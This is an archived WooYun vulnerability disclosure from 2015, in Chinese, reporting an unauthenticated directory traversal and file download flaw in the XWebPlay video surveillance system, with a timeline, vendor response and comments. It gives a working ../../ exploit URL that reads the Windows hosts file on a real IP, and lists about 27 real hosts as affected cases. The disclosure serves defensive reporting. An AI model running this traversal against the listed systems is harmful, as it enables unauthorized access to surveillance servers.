当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0114908

漏洞标题：某视频监控系统文件任意遍历(影响上万多用户)

相关厂商：XWebPlay

漏洞作者： 路人甲

提交时间：2015-05-19 11:27

修复时间：2015-08-21 15:44

公开时间：2015-08-21 15:44

漏洞类型：任意文件遍历/下载

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-05-19： 细节已通知厂商并且等待厂商处理中
2015-05-23： 厂商已经确认，细节仅向厂商公开
2015-05-26： 细节向第三方安全合作伙伴开放
2015-07-17： 细节向核心白帽子及相关领域专家公开
2015-07-27： 细节向普通白帽子公开
2015-08-06： 细节向实习白帽子公开
2015-08-21： 细节向公众公开

简要描述：

rt

详细说明：

由于没充分过滤用户输入的../之类的目录跳转符，导致恶意用户可以通过提交目录跳转来遍历服务器上的任意文件。
无需登录情况任意遍历系统文件下载（以windwos文件夹内文件为例）

漏洞证明：

aaaaaaaaaaa1111111111111111.jpg


aaaaaaaaaaaa22222222222222.jpg


aaaaaaaaaaaaa333333333333.jpg


利用方式：

http://39.187.12.253/../../WINDOWS/system32/drivers/etc/hosts


部分案例：

http://inversa.nvdvr.net:8080/
http://61-221-215-40.hinet-ip.hinet.net/
http://119.145.201.6/
http://www.fashicn.com:8081/
http://yyshoes.nvdvr.net:8082/
http://220-128-132-92.hinet-ip.hinet.net/
http://gxyey2.nvdvr.net:8888/
http://dgansheng1.gicp.net:8800/
http://39.181.130.36:8080/
http://39.181.128.70:8080/
http://39.181.235.16:8080/
http://39.182.115.30:8080/
http://39.186.33.151:8080/
http://39.183.200.247:8080/
http://39.188.6.86:8080/
http://39.182.138.10:8080/
http://39.182.196.19:8080/
http://39.189.121.19:8080/
http://39.183.239.109:8080/
http://39.183.194.138:8080/
http://39.189.141.146:8080/
http://39.187.12.253/
http://39.181.161.3/
http://39.182.153.130/
http://39.173.20.15:8080/
http://39.172.151.121:8080/
http://39.171.217.97/

修复方案：

联系厂商

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2015-05-23 15:43

厂商回复：

CNVD确认并复现所述情况，已经由CNVD通过官方热线和邮件等方式向生产厂商——宏视公司通报。

最新状态：

暂无

漏洞评价：

评论

  1. 2015-05-26 19:39 | 小龙 ( 普通白帽子 | Rank:1208 漏洞数:316 | 乌云有着这么一群人，在乌云学技术，去某数...)

    http://ciqiu.icccq.com/article/219241.html谁能告诉我，为毛。。。

  2. 2015-05-26 21:53 | qhwlpg ( 普通白帽子 | Rank:226 漏洞数:54 | 潜心代码审计。)

    不会真是楼上的链接吧。。

  3. 2015-05-26 23:10 | 小龙 ( 普通白帽子 | Rank:1208 漏洞数:316 | 乌云有着这么一群人，在乌云学技术，去某数...)

    @qhwlpg 我觉得应该不是吧，他这个说是遍历，要不是遍历我就无语了。。